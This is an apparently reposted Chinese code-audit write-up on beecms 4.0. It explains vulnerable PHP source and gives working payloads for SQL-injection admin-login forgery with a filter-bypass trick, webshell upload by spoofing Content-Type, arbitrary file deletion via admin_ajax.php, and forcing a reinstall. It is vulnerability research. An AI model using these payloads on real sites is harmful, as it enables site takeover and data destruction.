0


[代码审计] beecms 4.0 漏洞总结

beecms 4.0 后台存在多个漏洞,登录页面存在一个 SQL 注入,可以伪造账号登录到后台,后台的管理功能存在文件上传和任意文件删除。

找到后台之后的 getshell 思路:利用 SQL 注入伪造账号登录到后台,然后上传 webshell。

cms 脉络

程序目录结构

把网站的目录和文件分为基础功能用户功能两类,基础功能的主要:

- admin     后台管理模块
- data      网站数据缓存目录
- includes  基础功能或基础类,比如 MySQL 连接类、smtp 类、模板加载类
- template  静态文件目录
- upload    上传文件目录
- index.php 首页

用户功能包括网站呈现给用户使用的应用功能,或者是辅助功能,这些目录包括:

其他功能模块目录:
- ckeditor  富文本编辑器
- alone
- article   文章相关功能
- book
- down
- job
- member
- mx_form   留言、订单、联系等表单处理
- product  
- search    搜索
- sitemap

beecms 是一个老 cms,网站程序没有用到 MVC。这种"传统"的 cms 是各个功能模块的代码分散在自己的文件中(如果代码量比较多,还会拆分成几个文件),功能模块之间基本没有紧密的关联,也没有基础功能将它们结合在一起,想访问什么功能就直接 URL 访问对应的文件。根据这点,攻击者可以直接访问一些页面上没有呈现,或者说是被“遗落”的功能。而对于 MVC 网站,因为它有路由,限定用户所能访问的功能。

审计思路

对于这种 cms,我一般采用“通读重点文件”加“功能点定位”或“逆向追溯”的思路,重点在于几个文件,beecms 的 index.php:

define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
...

init.php 是网站程序的初始化文件,用于

  • 加载全局的常量;
  • 统一在入口处过滤输入数据;
  • 加载 SMTP 类、MySQL 连接类和模板类等具有基础功能的类。

fun.php 包含常用的工具函数,例如:

  • 上传文件处理函数;
  • 递归 addslashes() 函数;
  • htmlspecialchars() 函数的封装;
  • 检查登录函数;
  • ....

lib.php 包含的是获取网站数据的函数,MySQL 连接类定义了增删改查等基础功能的通用接口(方法),lib.php 的函数就是封装了这些方法。例如:

  • 获得客服信息
  • 获得表单信息
  • ...

这些重要文件被包含在用户功能文件的开头中,所以审代码时重点关注(init.php 先阅读,其他两个文件里面的函数被调用时再针对函数阅读)。

后台登录页面 SQL 注入

init.php 初始化文件中对 $GET、$POST、$REQUEST 和 $COOKIE 等用户数据的输入点做了过滤:

if (!get_magic_quotes_gpc())
{
    if (isset($_REQUEST))
    {
        $_REQUEST  = addsl($_REQUEST);
    }
    $_COOKIE   = addsl($_COOKIE);
    $_POST = addsl($_POST);
    $_GET = addsl($_GET);
}

addsl() 是递归 addlashes() 转义数组,代码:

function addsl($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {    
        return is_array($value) ? array_map('addsl', $value) : addslashes($value);
    }
}

然而,在 admin/login.php 并没有包含 init.php,所以没有进行过滤,才导致 SQL 注入,登录功能的代码:

if ($action=='login') {
    // 显示登录页面
    ....
} //判断登录
elseif($action=='ck_login'){
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    $code=$_POST['code'];
    if(!isset($submit)){
        msg('请从登陆页面进入');
    }
    if(empty($user)||empty($password)){
        msg("密码或用户名不能为空");
    }
    if(!empty($_sys['safe_open'])){
        foreach($_sys['safe_open'] as $k=>$v){
            if($v=='3'){
                if($code!=$s_code){msg("验证码不正确!");}
            }
        }
    }
    check_login($user,$password);

}
elseif($action=='out'){
    // 退出登录
    ....
}

$_POST['user'] 是用户名,作了两个函数处理,先看 fl_value():

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/i','',$str);
}

只替换一次有关 SQL 注入的敏感字符串,可以双写绕过。再看 fl_html():

function fl_html($str){
    return htmlspecialchars($str);
}

XSS 漏洞的敏感字符过滤,htmlspecialchars() 函数默认只转义 &、< 和 >,对单双引号需要提供第二个参数,对 SQL 注入没有过滤的效果。

用户名 $user'和密码 $password 被传入到 check_login(),跟进:

function check_login($user,$password){
    $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");    
    $rel=empty($rel)?'':$rel[0];
    if(empty($rel)){
        msg('不存在该管理用户','login.php');
    }
    $password=md5($password);
    if($password!=$rel['admin_password']){
        msg("输入的密码不正确");
    }
    if($rel['is_disable']){
        msg('该账号已经被锁定,无法登陆');
    }
    
    $_SESSION['admin']=$rel['admin_name'];
    $_SESSION['admin_purview']=$rel['admin_purview'];
    $_SESSION['admin_id']=$rel['id'];
    $_SESSION['admin_time']=time();
    $_SESSION['login_in']=1;
    $_SESSION['login_time']=time();
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);
    $_SESSION['admin_ip']=$ip;
    unset($rel);
    header("location:admin.php");
}

这个函数用于账号密码的校验并将登录状态记录到 session 中,可以看到第一条语句就是 SQL 注入点,$user 直接拼接到 SELECT 查询语句中。

报错注入

直接 payload 测试:

' anselectd extractvalue(1,concat(0x7e,(database()))) #

这里用 "select" 插在 "and" 字符串中间,因为我发现 preg_replace() 过滤条件替换的是 " and "(左右两边有空格),结果:

伪造登录

SELECT 查询语句同时返回查询到的用户名和密码,而不是分开两次查询(先查询是否用户名,再查询密码),所以可以伪造 "admin" 账号返回的密码。

payload:

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

发送请求:

登录成功并跳转。

文件上传(一)

用”功能点定位“的方式审计文件上传,先在后台寻找上传点:

上传文件,然后抓包分析,发现请求地址是 admin/admin_pic_upload.php,到这个文件定位上传文件的处理功能:

if(is_uploaded_file($v)){
    $pic_info['tmp_name']=$v;
    $pic_info['size']=$_FILES['up']['size'][$k];
    $pic_info['type']=$_FILES['up']['type'][$k];
    $pic_info['name']=$_FILES['up']['name'][$k];
    $pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
    $is_up_size = $_sys['upload_size']*1000*1000;

    $value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
    
    //处理上传后的图片信息
    $pic_name=$value_arr['up_pic_name'];//图片名称空
    $pic_ext=$value_arr['up_pic_ext'];//图片扩展名
    $pic_title = $pic_alt[$k];//图片描述
    $pic_size = $value_arr['up_pic_size'];//图片大小
    $pic_path = $value_arr['up_pic_path'];//上传路径
    $pic_time = $value_arr['up_pic_time'];//上传时间
    $pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
    $cate = empty($pic_cate)?1:$pic_cate;//图片栏目
    
    //入库
    $sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
    $mysql->query($sql);
}

先获取一些文件的基本信息,然后执行 up_img(),这个函数就是处理上传文件并移动的地方,跟进:

function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
        if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
        if(is_uploaded_file($file['tmp_name'])){
        if($file['size']>$size){
            msg('图片超过'.$size.'大小');
        }
        $pic_name=pathinfo($file['name']);//图片信息
        
        $file_type=$file['type'];
        if(!in_array(strtolower($file_type),$type)){
            msg('上传图片格式不正确');
        }
        $path_name="upload/img/";
        $path=CMS_PATH.$path_name;
        if(!file_exists($path)){
            @mkdir($path);
        }
        $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
        $up_file_name2=iconv('UTF-8','GBK',$up_file_name);
        $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
        
        if(file_exists($file_name)){
            msg('已经存在该图片,请更改图片名称!');//判断是否重名
        }
        
        $return_name['up_pic_size']=$file['size'];//上传图片大小
        $return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
        $return_name['up_pic_name']=$up_file_name;//上传图片名
        $return_name['up_pic_path']=$path_name;//上传图片路径
        $return_name['up_pic_time']=time();//上传时间
        unset($pic_name);
        //开始上传
        if(!move_uploaded_file($file['tmp_name'],$file_name)){
            msg('图片上传失败','',0);
        }
        .....
}

只做了文件大小和 MIME 类型的校验,所以能绕过,只需要 burpsuite 改一下 Content-Type 即可。

上传脚本后,接着是找到脚本的文件名和路径,这可以在 HTML 代码中找到:

拼接 upload 目录访问:

文件上传(二)

在我浏览后台所有的功能时,发现一个管理上传附件的功能,但是找到没有上传附件的按钮。这时,直接访问”上传附件“的页面即可:

与上传图片类似,上传附件的处理在一个 up_file() 函数中:

<?php
echo "Hello World !";?>

function up_file($file,$size,$type,$path='',$name='') {
    $return_arr=array();
    if(is_uploaded_file($file['tmp_name'])) {
        if($file['size']>$size) {
            msg('文件超过'.$size.'大小');
        }
        $pic_name=pathinfo($file['name']);
        $file_type=$pic_name['extension'];
        $return_arr['ext'] = $pic_name['extension'];
        //扩展名
        $return_arr['size'] = $file['size'];
        //大小
        if(!in_array($file_type,$type)) {
            msg('上传文件格式不正确'.$file_type);
        }
        $path=empty($path)?CMS_PATH."upload/file/":CMS_PATH.$path.'/';
        if(!file_exists($path)) {
            @mkdir($path);
        }
        $name=$pic_name['filename'].'-'.date('YmdHis');
        $name2=iconv('UTF-8','GBK',$name);
        $file_name=$path.$name2.'.'.$pic_name['extension'];
        $file_name2=$path.$name.'.'.$pic_name['extension'];
        if(file_exists($file_name)) {
            msg('已经存在该附件,请更改附件名称!');
            //判断是否重名
        }
        unset($pic_name);
        if(!move_uploaded_file($file['tmp_name'],$file_name)) {
            msg('文件上传失败');
        }
        $return_name=str_replace(CMS_PATH,"",$file_name2);
        //$return_name=CMS_SELF.$return_name;
        $return_arr['file'] = $return_name;
        //上传文件路径
        $return_arr['time'] = time();
        //上传时间
    } else {
        msg('文件不能为空');
    }
    //存储相关信息
    return $return_arr;
}

做了文件大小和文件扩展名的校验,对于文件扩展名校验的绕过,可以在后台的“允许上传的文件类型”添加 php:

这样一来就能上传 php 脚本了。

任意文件删除+重装漏洞

全局搜索 ”unlink“ 关键词,在 admin/admin_ajax.php 处找到一处代码:

define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];

if($action=='lang_tag'){
    ...
}
//排序
elseif($action=='order'){
    ...
}
//判断频道标示
elseif($action=='check_channel'){
    ...
}
elseif($action=='check_table'){
    ...
}
//开启关闭
elseif($action=='is_show'){
    ...
}
//删除图片
elseif($action=='del_pic'){
    $file=CMS_PATH.'upload/'.$value;
    @unlink($file);
    die("图片成功删除");
}
//修改图片alt
elseif($action=='change_pic_alt'){
   ...
}
//其它操作
else{
    die('没有参数');
}
echo PW;
    

if 多条件分支结构根据 action 参数定位到对应的增删改查等功能,对于这种代码,直接审计某个功能的条件分支即可,反正 action 参数是可控的,能执行到目标代码处。

可以看到 $file 参数是一个拼接的文件路径,再追溯 $value 是否可控,发现 $value 由 $REQUEST['value'] 直接赋值。然而,重点是开头包含的 init.php 文件里面是否对参数进行过滤。经过审计,发现没有字符串替换或者其他处理,所以可执行任意文件删除。

payload:

/admin/admin_ajax.php?value=../test.php&action=del_pic

结果:

删除成功。

配合这个漏洞,如果目标网站没有删除 install 目录,那么就可以删除掉 install.lock 文件,然后访问 install 目录执行重装功能。不过,在重装时写入的数据库配置信息经过 addslashes() 转义,并且配置文件的代码用了单引号:

如果是双引号,可以写入 ${ eval($_POST['cmd'])},而这里是单引号,所以无法 getshell。但是,可以造成 SQL 二次注入:

不过,数据库都重装了,即使能获取原来数据库表的数据,操作也相当繁琐。

标签: web安全

本文转载自: https://blog.csdn.net/shawdow_bug/article/details/127020190
版权归原作者 封于修x 所有, 如有侵权,请联系我们删除。

“[代码审计] beecms 4.0 漏洞总结”的评论:

还没有评论